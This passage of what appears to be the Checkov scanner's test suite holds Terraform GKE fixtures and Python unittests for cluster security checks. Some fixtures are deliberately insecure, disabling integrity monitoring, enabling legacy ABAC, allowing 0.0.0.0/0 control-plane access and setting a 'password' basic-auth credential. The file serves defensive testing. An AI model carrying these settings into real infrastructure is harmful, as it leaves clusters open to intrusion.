    "content": "resource \"google_container_cluster\" \"fail\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n\n    shielded_instance_config {\n      enable_integrity_monitoring = false\n    }\n  }\n\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_node_pool\" \"fail\" {\n  project  = data.google_project.project.name\n  name     = var.node_pool[\"name\"]\n  location = var.location\n  cluster  = google_container_cluster.cluster.name\n\n  node_count        = var.node_pool[\"node_count\"]\n  max_pods_per_node = var.node_pool[\"max_pods_per_node\"]\n\n  node_config {\n    machine_type = var.node_pool[\"machine_type\"]\n    disk_size_gb = var.node_pool[\"disk_size_gb\"]\n    disk_type    = var.node_pool[\"disk_type\"]\n\n    shielded_instance_config {\n      enable_integrity_monitoring = false\n    }\n\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/compute\",\n      \"https://www.googleapis.com/auth/devstorage.read_only\",\n      \"https://www.googleapis.com/auth/logging.write\",\n      \"https://www.googleapis.com/auth/monitoring\",\n    ]\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n}\n\nresource \"google_container_cluster\" \"success1\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_cluster\" \"success2\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n    shielded_instance_config {\n      enable_integrity_monitoring = true\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_node_pool\" \"success1\" {\n  project  = data.google_project.project.name\n  name     = var.node_pool[\"name\"]\n  location = var.location\n  cluster  = google_container_cluster.cluster.name\n\n  node_count        = var.node_pool[\"node_count\"]\n  max_pods_per_node = var.node_pool[\"max_pods_per_node\"]\n\n  node_config {\n    machine_type = var.node_pool[\"machine_type\"]\n    disk_size_gb = var.node_pool[\"disk_size_gb\"]\n    disk_type    = var.node_pool[\"disk_type\"]\n\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/compute\",\n      \"https://www.googleapis.com/auth/devstorage.read_only\",\n      \"https://www.googleapis.com/auth/logging.write\",\n      \"https://www.googleapis.com/auth/monitoring\",\n    ]\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n}\n\nresource \"google_container_node_pool\" \"success2\" {\n  project  = data.google_project.project.name\n  name     = var.node_pool[\"name\"]\n  location = var.location\n  cluster  = google_container_cluster.cluster.name\n\n  node_count        = var.node_pool[\"node_count\"]\n  max_pods_per_node = var.node_pool[\"max_pods_per_node\"]\n\n  node_config {\n    machine_type = var.node_pool[\"machine_type\"]\n    disk_size_gb = var.node_pool[\"disk_size_gb\"]\n    disk_type    = var.node_pool[\"disk_type\"]\n\n    shielded_instance_config {\n      enable_integrity_monitoring = true\n    }\n\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/compute\",\n      \"https://www.googleapis.com/auth/devstorage.read_only\",\n      \"https://www.googleapis.com/auth/logging.write\",\n      \"https://www.googleapis.com/auth/monitoring\",\n    ]\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEEnsureIntegrityMonitoring.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEEnsureIntegrityMonitoring import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEEnsureIntegrityMonitoring(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GKEEnsureIntegrityMonitoring\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.success1',\n            'google_container_cluster.success2',\n            'google_container_node_pool.success1',\n            'google_container_node_pool.success2',\n            \n        }\n        failing_resources = {\n            'google_container_cluster.fail',\n            'google_container_node_pool.fail'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEHasLabels.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKEHasLabels import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGKEHasLabels(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['google_cluster'], 'enable_legacy_abac': [False]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        resource_conf = {'name': ['google_cluster_bad'], 'monitoring_service': ['none'], 'enable_legacy_abac': [True], 'master_authorized_networks_config': [{'cidr_blocks': [{'cidr_block': ['0.0.0.0/0'], 'display_name': ['The world']}]}], 'master_auth': [{'username': ['test'], 'password': ['password']}], 'resource_labels': [{}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['google_cluster'], 'enable_legacy_abac': [False], 'resource_labels': [{'Owner': ['SomeoneNotWorkingHere']}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEKubernetesRBACGoogleGroups/main.tf",
    "content": "\nresource \"google_container_cluster\" \"fail\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n}\n\n\nresource \"google_container_cluster\" \"success\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  authenticator_groups_config {\n    security_group = \"gke-security-groups@yourdomain.com\"\n  }\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEKubernetesRBACGoogleGroups.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEKubernetesRBACGoogleGroups import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEKubernetesRBACGoogleGroups(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GKEKubernetesRBACGoogleGroups\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.success'\n        }\n        failing_resources = {\n            'google_container_cluster.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEMasterAuthorizedNetworksEnabled.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKEMasterAuthorizedNetworksEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGKEMasterAuthorizedNetworksEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['google_cluster'], 'enable_legacy_abac': [False]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['google_cluster'], 'monitoring_service': ['monitoring.googleapis.com'], 'master_authorized_networks_config': [{}], 'master_auth': [{'client_certificate_config': [{'issue_client_certificate': [False]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEMetadataServerIsEnabled.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEMetadataServerIsEnabled import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEMetadataServerIsEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GKEMetadataServerisEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.success_mode',\n            'google_container_cluster.success_node_metadata',\n            'google_container_node_pool.success_mode',\n            'google_container_node_pool.success_node_metadata'\n        }\n        failing_resources = {\n            'google_container_cluster.fail',\n            'google_container_node_pool.fail',\n            'google_container_cluster.empty_mode'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEMetadataServerisEnabled/main.tf",
    "content": "\nresource \"google_container_cluster\" \"fail\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n}\n\nresource \"google_container_node_pool\" \"fail\" {\n  project  = data.google_project.project.name\n  name     = var.node_pool[\"name\"]\n  location = var.location\n  cluster  = google_container_cluster.cluster.name\n\n  node_count        = var.node_pool[\"node_count\"]\n  max_pods_per_node = var.node_pool[\"max_pods_per_node\"]\n\n  node_config {\n    machine_type = var.node_pool[\"machine_type\"]\n    disk_size_gb = var.node_pool[\"disk_size_gb\"]\n    disk_type    = var.node_pool[\"disk_type\"]\n\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/compute\",\n      \"https://www.googleapis.com/auth/devstorage.read_only\",\n      \"https://www.googleapis.com/auth/logging.write\",\n      \"https://www.googleapis.com/auth/monitoring\",\n    ]\n  }\n}\n\nresource \"google_container_cluster\" \"success_node_metadata\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n}\n\nresource \"google_container_cluster\" \"success_mode\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  node_config {\n    workload_metadata_config {\n      mode = \"GKE_METADATA\"\n    }\n  }\n}\n\nresource \"google_container_cluster\" \"empty_mode\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  node_config {\n    workload_metadata_config = []\n  }\n}\n\nresource \"google_container_node_pool\" \"success_node_metadata\" {\n  project  = data.google_project.project.name\n  name     = var.node_pool[\"name\"]\n  location = var.location\n  cluster  = google_container_cluster.cluster.name\n\n  node_count        = var.node_pool[\"node_count\"]\n  max_pods_per_node = var.node_pool[\"max_pods_per_node\"]\n\n  node_config {\n    machine_type = var.node_pool[\"machine_type\"]\n    disk_size_gb = var.node_pool[\"disk_size_gb\"]\n    disk_type    = var.node_pool[\"disk_type\"]\n\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/compute\",\n      \"https://www.googleapis.com/auth/devstorage.read_only\",\n      \"https://www.googleapis.com/auth/logging.write\",\n      \"https://www.googleapis.com/auth/monitoring\",\n    ]\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n}\n\nresource \"google_container_node_pool\" \"success_mode\" {\n  project  = data.google_project.project.name\n  name     = var.node_pool[\"name\"]\n  location = var.location\n  cluster  = google_container_cluster.cluster.name\n\n  node_count        = var.node_pool[\"node_count\"]\n  max_pods_per_node = var.node_pool[\"max_pods_per_node\"]\n\n  node_config {\n    machine_type = var.node_pool[\"machine_type\"]\n    disk_size_gb = var.node_pool[\"disk_size_gb\"]\n    disk_type    = var.node_pool[\"disk_type\"]\n\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/compute\",\n      \"https://www.googleapis.com/auth/devstorage.read_only\",\n      \"https://www.googleapis.com/auth/logging.write\",\n      \"https://www.googleapis.com/auth/monitoring\",\n    ]\n    workload_metadata_config {\n      mode = \"GKE_METADATA\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEMonitoringEnabled.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKEMonitoringEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass GKEMonitoringEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['google_cluster'], 'monitoring_service': ['none']}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['google_cluster'], 'monitoring_service': ['monitoring.googleapis.com']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKENetworkPolicyEnabled.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKENetworkPolicyEnabled import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKENetworkPolicyEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GKENetworkPolicyEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.pass',\n            'google_container_cluster.pass2'\n        }\n        failing_resources = {\n            'google_container_cluster.fail',\n            'google_container_cluster.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKENodePoolAutoRepairEnabled.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKENodePoolAutoRepairEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass GKENodePoolAutoRepairEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'cluster': [''], 'management': [{}]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'cluster': [''], 'management': [{'auto_repair': [True]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKENodePoolAutoUpgradeEnabled.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKENodePoolAutoUpgradeEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass GKENodePoolAutoUpgradeEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'cluster': [''], 'management': [{}]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'cluster': [''], 'management': [{'auto_upgrade': [True]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEPodSecurityPolicyEnabled.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEPodSecurityPolicyEnabled import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEPodSecurityPolicyEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GKEPodSecurityPolicyEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.pass',\n        }\n        failing_resources = {\n            'google_container_cluster.fail',\n            'google_container_cluster.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEPrivateClusterConfig.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKEPrivateClusterConfig import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGKEPrivateClusterConfig(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['google_cluster_bad'], 'monitoring_service': ['none'], 'enable_legacy_abac': [True], 'master_authorized_networks_config': [{'cidr_blocks': [{'cidr_block': ['0.0.0.0/0'], 'display_name': ['The world']}]}], 'master_auth': [{'username': ['test'], 'password': ['password']}], 'resource_labels': [{}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['google_cluster'], 'enable_legacy_abac': [False], 'resource_labels': [{'Owner': ['SomeoneNotWorkingHere']}], 'node_config': [{'image_type': ['cos']}], 'ip_allocation_policy': [{}], 'private_cluster_config': [{}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEPrivateNodes/main.tf",
    "content": "\nresource \"google_container_cluster\" \"fail\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n}\n\n\nresource \"google_container_cluster\" \"success\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEPrivateNodes.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEPrivateNodes import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEPrivateNodes(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GKEPrivateNodes\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.success'\n        }\n        failing_resources = {\n            'google_container_cluster.fail'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEPublicControlPlane.py",
